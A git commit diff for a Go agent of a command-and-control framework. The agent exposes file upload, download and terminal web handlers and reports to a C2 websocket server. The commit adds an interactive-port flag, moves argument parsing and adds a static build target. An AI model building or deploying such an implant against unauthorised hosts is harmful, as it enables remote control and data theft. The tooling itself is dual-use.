added interactive port argument, so it is either random by default or selected. Added static build to the makefile
This commit is contained in:
parent
653bd91e94
commit
9a8161b54c
4
Makefile
4
Makefile
|
@ -16,6 +16,10 @@ build: ## Build the application
|
|||
# $(GO_BUILD) -o $(BINARY)
|
||||
$(GO_BUILD) -ldflags "-w" -o $(BINARY)
|
||||
|
||||
build-static: ## Build a static application
|
||||
@echo "Building static $(APP_NAME)..."
|
||||
$(GO_BUILD) --ldflags '-linkmode=external -extldflags=-static -w' -o $(BINARY)-static
|
||||
|
||||
install: build ## Install the application
|
||||
@echo "Installing $(APP_NAME)..."
|
||||
$(GO_INSTALL)
|
||||
|
|
70
main.go
70
main.go
|
@ -6,6 +6,7 @@ import (
|
|||
"bytes"
|
||||
"embed"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"html/template"
|
||||
"io"
|
||||
|
@ -18,6 +19,7 @@ import (
|
|||
"os/user"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
|
@ -491,7 +493,7 @@ func handler(w http.ResponseWriter, r *http.Request) {
|
|||
tmpl.Execute(w, data)
|
||||
}
|
||||
|
||||
func startInteractiveServer() (int, net.Listener) {
|
||||
func startInteractiveServer(cliInteractivePort string) (string, net.Listener) {
|
||||
|
||||
http.HandleFunc("/", handler)
|
||||
http.HandleFunc("/upload", fileUploadHandler)
|
||||
|
@ -499,37 +501,63 @@ func startInteractiveServer() (int, net.Listener) {
|
|||
http.HandleFunc("/terminal", terminalHandler)
|
||||
http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
|
||||
|
||||
listener, err := net.Listen("tcp", ":0")
|
||||
var addPort string
|
||||
var listener net.Listener
|
||||
var err error
|
||||
if len(cliInteractivePort) > 0 {
|
||||
addPort = cliInteractivePort
|
||||
listener, err = net.Listen("tcp", ":" + addPort)
|
||||
} else {
|
||||
listener, err = net.Listen("tcp", ":0")
|
||||
addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
port := listener.Addr().(*net.TCPAddr).Port
|
||||
log.Println("Using port:", port)
|
||||
return addPort, listener
|
||||
}
|
||||
|
||||
return port, listener
|
||||
// func connectionArgs () (string, string) {
|
||||
func connectionArgs () (string, string) {
|
||||
// Get IP address and port of the server through the
|
||||
var serverAddress string
|
||||
// var serverPort string
|
||||
var serverWebsocketPort string
|
||||
var interactivePort string
|
||||
|
||||
flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server.")
|
||||
// flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.")
|
||||
flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server.")
|
||||
|
||||
flag.StringVar(&interactivePort, "interactive-port", "", "Port to connect directly to the agent's webapp. Port will be random if not set.")
|
||||
|
||||
flag.Parse()
|
||||
|
||||
fmt.Println("Server address is at ", serverAddress)
|
||||
// fmt.Println("Server web port is ", serverPort)
|
||||
fmt.Println("Server websocket port is ", serverWebsocketPort)
|
||||
|
||||
// webServerAddr := serverAddress + ":" + serverPort
|
||||
webSocketAddr := serverAddress + ":" + serverWebsocketPort
|
||||
|
||||
// return webServerAddr, webSocketAddr
|
||||
|
||||
return webSocketAddr, interactivePort
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
func main() {
|
||||
// http.HandleFunc("/", handler)
|
||||
// http.HandleFunc("/upload", fileUploadHandler)
|
||||
// http.HandleFunc("/download", fileDownloadHandler)
|
||||
// http.HandleFunc("/terminal", terminalHandler)
|
||||
// http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
|
||||
// // fmt.Println("Starting server on :8080")
|
||||
// // log.Fatal(http.ListenAndServe(":8080", nil))
|
||||
|
||||
// /* This section opens the server on a random port which is also free to use */
|
||||
// listener, err := net.Listen("tcp", ":0")
|
||||
// if err != nil {
|
||||
// panic(err)
|
||||
// }
|
||||
// log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port)
|
||||
// log.Fatal(http.Serve(listener, nil))
|
||||
webSocketAddr, cliInteractivePort := connectionArgs()
|
||||
|
||||
port, listener := startInteractiveServer()
|
||||
addPort, listener := startInteractiveServer(cliInteractivePort)
|
||||
|
||||
log.Println("Using interactive port:", addPort)
|
||||
log.Printf("You can connect to port %d through your browser as well", listener.Addr().(*net.TCPAddr).Port)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(2)
|
||||
|
@ -541,7 +569,7 @@ func main() {
|
|||
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
agentconnector.StartServer(port)
|
||||
agentconnector.StartServer(addPort, webSocketAddr)
|
||||
}()
|
||||
|
||||
wg.Wait()
|
||||
|
|
|
@ -2,7 +2,7 @@ package agentconnector
|
|||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
// "flag"
|
||||
"fmt"
|
||||
"log"
|
||||
// "net/http"
|
||||
|
@ -210,43 +210,16 @@ func GetLocalIPs() []net.IP {
|
|||
return ips
|
||||
}
|
||||
|
||||
// func connectionArgs () (string, string) {
|
||||
func connectionArgs () string {
|
||||
// Get IP address and port of the server through the
|
||||
var serverAddress string
|
||||
// var serverPort string
|
||||
var serverWebsocketPort string
|
||||
|
||||
flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server")
|
||||
// flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.")
|
||||
flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server")
|
||||
|
||||
flag.Parse()
|
||||
|
||||
fmt.Println("Server address is at ", serverAddress)
|
||||
// fmt.Println("Server web port is ", serverPort)
|
||||
fmt.Println("Server websocket port is ", serverWebsocketPort)
|
||||
|
||||
// webServerAddr := serverAddress + ":" + serverPort
|
||||
webSocketAddr := serverAddress + ":" + serverWebsocketPort
|
||||
|
||||
// return webServerAddr, webSocketAddr
|
||||
|
||||
return webSocketAddr
|
||||
|
||||
}
|
||||
|
||||
// func main() {
|
||||
func StartServer(agentInteractivePort int){
|
||||
func StartServer(addPort, webSocketAddr string){
|
||||
|
||||
webSocketAddr := connectionArgs()
|
||||
// webSocketAddr, cliInteractivePort := connectionArgs()
|
||||
|
||||
// agentInteractivePort is only needed for interactive sessions
|
||||
agentName := "Agent-001"
|
||||
agentId := strconv.Itoa(randomInt(8))
|
||||
agentIp := GetLocalIP().String()
|
||||
agentType := "Interactive"
|
||||
addPort := strconv.Itoa(agentInteractivePort)
|
||||
hostname, _ := os.Hostname()
|
||||
|
||||
log.Printf("AgentId: %s", agentId)
|
||||
|
|
Loading…
Reference in New Issue